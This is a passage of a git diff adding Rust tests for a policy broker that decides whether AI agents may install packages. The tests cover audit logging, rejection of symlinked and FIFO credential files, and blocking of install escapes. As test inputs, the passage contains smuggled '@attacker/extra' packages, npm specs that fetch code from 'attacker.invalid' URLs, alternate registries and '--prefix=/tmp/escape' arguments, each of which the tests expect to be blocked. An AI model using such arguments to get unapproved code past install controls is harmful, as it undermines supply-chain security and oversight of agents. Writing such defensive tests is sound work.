Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Allow); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Allow); + assert_eq!(records[0].request_id, decision.request_id); +} + +#[tokio::test] +async fn policy_block_is_a_durable_http_200_decision() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state( + AdmissionPolicy::deny_all_for_test(), + sink.clone(), + 64 * 1024, + )); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::OK); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + ); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert_eq!(records[0].decision, DecisionKind::Block); +} + +#[tokio::test] +async fn malformed_authenticated_json_is_audited_before_bad_request() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + + let response = app + .oneshot(admission_request( + br#"{"request_id":"unfinished""#.to_vec(), + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::BAD_REQUEST); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MalformedRequest) + ); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert!(records[0].request_id.starts_with("malformed:")); + assert!( + records[0] + .reason_codes + .contains(&ReasonCode::MalformedRequest) + ); +} + +#[tokio::test] +async fn structurally_invalid_authenticated_intent_is_audited_and_returns_bad_request() { + let sink = Arc::new(MemoryAuditSink::default()); + let app = build_app(state(approved_policy(), sink.clone(), 64 * 1024)); + let mut intent = approved_intent(); + intent.operation = "execute".to_string(); + + let response = app + .oneshot(admission_request( + serde_json::to_vec(&intent).expect("intent must serialize"), + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::BAD_REQUEST); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::InvalidOperation) + ); + let records = sink.records().expect("audit snapshot must succeed"); + assert_eq!(records.len(), 1); + assert!( + records[0] + .reason_codes + .contains(&ReasonCode::InvalidOperation) + ); +} + +struct FailingAuditSink; + +impl AuditSink for FailingAuditSink { + fn append(&self, _record: &AuditRecord) -> Result<(), AuditError> { + Err(AuditError::StorageUnavailable) + } +} + +#[tokio::test] +async fn audit_outage_converts_candidate_allow_and_block_to_service_unavailable() { + for policy in [approved_policy(), AdmissionPolicy::deny_all_for_test()] { + let app = build_app(state(policy, Arc::new(FailingAuditSink), 64 * 1024)); + let body = serde_json::to_vec(&approved_intent()).expect("intent must serialize"); + + let response = app + .oneshot(admission_request( + body, + Some(HeaderValue::from_static(ADMIN_TOKEN)), + )) + .await + .expect("router must answer"); + + assert_eq!(response.status(), StatusCode::SERVICE_UNAVAILABLE); + let decision: AdmissionDecision = decode_json(response).await; + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::AuditUnavailable]); + } +} diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs new file mode 100644 index 00000000..ff68d4a0 --- /dev/null +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -0,0 +1,197 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() { + let cases: &[(&str, &[&str])] = &[ + ( + "pip", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-r", + "requirements.txt", + ], + ), + ( + "pip3", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirement=requirements.txt", + ], + ), + ( + "pip", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-e", + "./unreviewed", + ], + ), + ( + "pip3", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--editable=./unreviewed", + ], + ), + ( + "pip", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirements-from-script=unreviewed.py", + ], + ), + ]; + + for (executable, arguments) in cases { + assert_indirect_source_blocked(executable, arguments); + } +} + +#[test] +fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths() { + let cases: &[&[&str]] = &[ + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-r", + "requirements.txt", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirements=requirements.txt", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-e", + "./unreviewed", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--editable=./unreviewed", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--group", + "unreviewed", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--group=unreviewed", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--project", + "./unreviewed", + "--group", + "runtime", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--project=./unreviewed", + "--group=runtime", + ], + ]; + + for arguments in cases { + assert_indirect_source_blocked("uv", arguments); + } +} + +fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-02.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = Vec::with_capacity(arguments.len() + 1); + argv.push(executable.to_string()); + argv.extend(arguments.iter().map(|argument| (*argument).to_string())); + let intent = InstallIntent { + request_id: format!("req-indirect-source-{executable}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} must not source undeclared artifacts", + arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "indirect package sources must use the stable artifact_not_approved reason" + ); +} diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs new file mode 100644 index 00000000..4970473a --- /dev/null +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -0,0 +1,535 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn package_managers_cannot_escape_the_broker_selected_install_root() { + let cases = [ + install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "install", + "@cwl/example@1.2.3", + "--ignore-scripts", + "--global", + ], + ), + install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "-g"], + ), + install_case( + "yarn", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + ), + install_case( + "bun", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "--prefix=/tmp/escape", + ], + ), + install_case( + "pip", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--target=/tmp/escape", + ], + ), + install_case( + "pip3", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--user", + ], + ), + install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--prefix=/tmp/escape", + ], + ), + install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &[ + "install", + "cwl-example@1.2.3", + "--locked", + "--root=/tmp/escape", + ], + ), + ]; + + for (policy, intent, label) in cases { + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn pnpm_directory_selection_cannot_escape_the_broker_selected_workspace() { + for directory_arguments in [ + vec!["--dir", "/tmp/unreviewed-workspace"], + vec!["--dir=/tmp/unreviewed-workspace"], + vec!["-C", "/tmp/unreviewed-workspace"], + vec!["-C=/tmp/unreviewed-workspace"], + ] { + let mut arguments = vec!["add", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(directory_arguments); + let (policy, intent, label) = install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { + for extra_arguments in [ + vec!["--system"], + vec!["--python=/tmp/escape/bin/python"], + vec!["--python", "/tmp/escape/bin/python"], + vec!["-p", "/tmp/escape/bin/python"], + ] { + let mut arguments = vec!["pip", "install", "cwl-example==1.2.3", "--require-hashes"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn uv_index_selection_cannot_override_the_approved_registry() { + for extra_arguments in [ + vec!["--index", "https://packages.example.invalid/simple"], + vec!["--index=https://packages.example.invalid/simple"], + vec!["--default-index", "https://packages.example.invalid/simple"], + vec!["--default-index=https://packages.example.invalid/simple"], + ] { + let mut arguments = vec!["pip", "install", "cwl-example==1.2.3", "--require-hashes"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &arguments, + ); + + assert_alternate_trust_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn cargo_source_selection_cannot_override_the_approved_registry() { + for extra_arguments in [ + vec!["--git", "https://example.invalid/unreviewed.git"], + vec!["--git=https://example.invalid/unreviewed.git"], + vec!["--path", "/tmp/unreviewed-crate"], + vec!["--path=/tmp/unreviewed-crate"], + ] { + let mut arguments = vec!["install", "cwl-example@1.2.3", "--locked"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &arguments, + ); + + assert_alternate_trust_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn cargo_inline_configuration_cannot_override_install_root() { + for extra_arguments in [ + vec!["--config=install.root='/tmp/escape'"], + vec!["--config", "install.root='/tmp/escape'"], + ] { + let mut arguments = vec!["install", "cwl-example@1.2.3", "--locked"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn npm_location_global_spellings_are_blocked() { + for location_arguments in [vec!["--location=global"], vec!["--location", "GLOBAL"]] { + let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(location_arguments); + let (policy, intent, label) = install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { + for workspace_arguments in [ + vec!["--workspace", "packages/unreviewed"], + vec!["--workspace=packages/unreviewed"], + vec!["-w", "packages/unreviewed"], + vec!["-w=packages/unreviewed"], + vec!["--workspaces"], + vec!["--workspaces=true"], + ] { + let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(workspace_arguments); + let (policy, intent, label) = install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { + let cases = [ + install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "install", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "yarn", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "bun", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "pip", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "pip3", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &[ + "install", + "cwl-example@1.2.3", + "--locked", + "attacker-extra@9.9.9", + ], + ), + install_case( + "docker", + "oci", + "ghcr.io/contextualwisdomlab/example", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "https://ghcr.io", + &[ + "pull", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ghcr.io/attacker/extra@sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ], + ), + install_case( + "podman", + "oci", + "ghcr.io/contextualwisdomlab/example", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "https://ghcr.io", + &[ + "pull", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ghcr.io/attacker/extra@sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ], + ), + ]; + + for (policy, intent, label) in cases { + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not execute an undeclared positional artifact" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{label} must produce the stable artifact_not_approved reason" + ); + } +} + +#[test] +fn container_pull_is_not_misclassified_as_an_install_root_escape() { + let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + let artifact_argument = format!("ghcr.io/contextualwisdomlab/example@sha256:{digest}"); + let (policy, intent, _) = install_case( + "docker", + "oci", + "ghcr.io/contextualwisdomlab/example", + &artifact_argument, + "https://ghcr.io", + &["pull", &artifact_argument], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root") + ); +} + +fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallIntent, label: &str) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not turn an approved artifact into a global or alternate-root install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{label} must produce the stable alternate_install_root reason" + ); +} + +fn assert_alternate_trust_root_blocked( + policy: &AdmissionPolicy, + intent: &InstallIntent, + label: &str, +) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not replace or supplement the reviewed artifact registry" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{label} must produce the stable alternate_trust_root reason" + ); +} + +fn install_case( + executable: &str, + ecosystem: &str, + name: &str, + artifact_argument: &str, + registry_url: &str, + arguments: &[&str], +) -> (AdmissionPolicy, InstallIntent, String) { + let artifact = ArtifactCoordinate { + ecosystem: ecosystem.to_string(), + name: name.to_string(), + version: "1.2.3".to_string(), + registry_url: registry_url.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-02.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = Vec::with_capacity(arguments.len() + 1); + argv.push(executable.to_string()); + argv.extend(arguments.iter().map(|argument| (*argument).to_string())); + let intent = InstallIntent { + request_id: format!("req-install-root-{executable}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + let label = format!("{executable} {}", arguments.join(" ")); + (policy, intent, label) +} diff --git a/crates/agent-artifact-admission/tests/local_file_authority_contract.rs b/crates/agent-artifact-admission/tests/local_file_authority_contract.rs new file mode 100644 index 00000000..39cf9814 --- /dev/null +++ b/crates/agent-artifact-admission/tests/local_file_authority_contract.rs @@ -0,0 +1,160 @@ +#![cfg(unix)] + +use std::fs; +use std::os::unix::fs::{PermissionsExt, symlink}; +use std::path::PathBuf; +#[cfg(target_os = "linux")] +use std::process::{Command, Stdio}; +#[cfg(target_os = "linux")] +use std::thread; +#[cfg(target_os = "linux")] +use std::time::{Duration, Instant}; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, CredentialFile, load_admin_token, load_config, +}; + +#[cfg(target_os = "linux")] +const FIFO_HELPER_PATH: &str = "WARDNET_ADMISSION_FIFO_HELPER_PATH"; +#[cfg(target_os = "linux")] +const HELPER_DEADLINE: Duration = Duration::from_secs(3); + +fn temp_path(label: &str) -> PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-local-file-{label}-{}-{nonce}", + std::process::id() + )) +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: AdmissionPolicy { + policy_id: "deny-all".to_string(), + policy_revision: "test".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + }, + } +} + +#[test] +fn credential_loader_rejects_final_symlink_even_to_owner_only_regular_file() { + let target = temp_path("credential-target.json"); + let link = temp_path("credential-link.json"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + + fs::write( + &target, + serde_json::to_vec(&credential).expect("credential fixture must serialize"), + ) + .expect("credential target must write"); + fs::set_permissions(&target, fs::Permissions::from_mode(0o600)) + .expect("credential target must be owner-only"); + symlink(&target, &link).expect("credential symlink must be created"); + + assert!( + load_admin_token(&link).is_err(), + "a symlink must not become credential-path authority even when its target is owner-only" + ); + + let _ = fs::remove_file(link); + let _ = fs::remove_file(target); +} + +#[test] +fn policy_loader_rejects_final_symlink_even_to_integrity_protected_regular_file() { + let target = temp_path("policy-target.json"); + let link = temp_path("policy-link.json"); + + fs::write( + &target, + serde_json::to_vec(&valid_config()).expect("policy fixture must serialize"), + ) + .expect("policy target must write"); + fs::set_permissions(&target, fs::Permissions::from_mode(0o644)) + .expect("policy target must not be group/other writable"); + symlink(&target, &link).expect("policy symlink must be created"); + + assert!( + load_config(&link).is_err(), + "a symlink must not become reviewed policy-path authority even when its target is not group/other writable" + ); + + let _ = fs::remove_file(link); + let _ = fs::remove_file(target); +} + +#[cfg(target_os = "linux")] +#[test] +fn loaders_reject_fifo_without_blocking_before_file_type_validation() { + let fifo_path = temp_path("authority-fifo"); + let mkfifo = Command::new("mkfifo") + .arg(&fifo_path) + .status() + .expect("mkfifo must be available on the Linux test runner"); + assert!(mkfifo.success(), "FIFO fixture must be created"); + + let executable = std::env::current_exe().expect("current test executable must resolve"); + let mut child = Command::new(executable) + .arg("--exact") + .arg("local_authority_fifo_open_helper") + .arg("--nocapture") + .env(FIFO_HELPER_PATH, &fifo_path) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .expect("isolated FIFO helper must start"); + + let deadline = Instant::now() + HELPER_DEADLINE; + let status = loop { + match child + .try_wait() + .expect("FIFO helper status must be readable") + { + Some(status) => break Some(status), + None if Instant::now() < deadline => thread::sleep(Duration::from_millis(25)), + None => break None, + } + }; + + let _ = fs::remove_file(&fifo_path); + + match status { + Some(status) => assert!( + status.success(), + "both local authority readers must reject a FIFO through their stable fail-closed errors" + ), + None => { + let _ = child.kill(); + let _ = child.wait(); + panic!( + "an admission local-file reader blocked while opening a FIFO; special inputs must fail closed promptly" + ); + } + } +} + +#[cfg(target_os = "linux")] +#[test] +fn local_authority_fifo_open_helper() { + let Ok(path) = std::env::var(FIFO_HELPER_PATH) else { + return; + }; + let path = PathBuf::from(path); + + assert!(load_admin_token(&path).is_err()); + assert!(load_config(&path).is_err()); +} diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs new file mode 100644 index 00000000..3f5335dc --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -0,0 +1,124 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, + ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, + admission_decision, validate_service_config, +}; + +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const PACKAGE_NAME: &str = "@cwl/example"; +const PACKAGE_VERSION: &str = "1.2.3"; +const REGISTRY_URL: &str = "https://registry.npmjs.org"; + +#[test] +fn npm_package_spec_cannot_replace_reviewed_registry_coordinate() { + for artifact_argument in [ + "https://attacker.invalid/example.tgz", + "git+https://attacker.invalid/example.git#deadbeef", + "alias@npm:@cwl/example@1.2.3", + "./local-package", + ] { + let policy = approved_npm_policy(artifact_argument); + let intent = approved_npm_intent(artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "npm package-spec {artifact_argument:?} must not replace the reviewed registry name/version coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "coordinate/package-spec disagreement must report artifact_not_approved" + ); + } +} + +#[test] +fn exact_npm_registry_name_and_version_still_requires_reviewed_dependency_closure() { + let artifact_argument = format!("{PACKAGE_NAME}@{PACKAGE_VERSION}"); + let policy = approved_npm_policy(&artifact_argument); + let intent = approved_npm_intent(&artifact_argument); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "matching the direct registry coordinate must not authorize resolver-selected transitive artifacts" + ); +} + +#[test] +fn service_config_rejects_npm_package_spec_that_disagrees_with_coordinate() { + let config = AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: approved_npm_policy("https://attacker.invalid/example.tgz"), + }; + + assert!( + validate_service_config(&config).is_err(), + "unsafe reviewed registry coordinate must fail during configuration admission" + ); +} + +fn approved_npm_policy(artifact_argument: &str) -> AdmissionPolicy { + AdmissionPolicy { + policy_id: "npm-artifact-source-identity-test".to_string(), + policy_revision: "1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_SHA256.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} + +fn approved_npm_intent(artifact_argument: &str) -> InstallIntent { + InstallIntent { + request_id: "req-npm-artifact-source-identity".to_string(), + actor_id: "agent:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: MANIFEST_SHA256.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: PACKAGE_NAME.to_string(), + version: PACKAGE_VERSION.to_string(), + registry_url: REGISTRY_URL.to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_SHA256.to_string(), + artifact_argument: artifact_argument.to_string(), + }], + } +} diff --git a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs new file mode 100644 index 00000000..234c2753 --- /dev/null +++ b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] 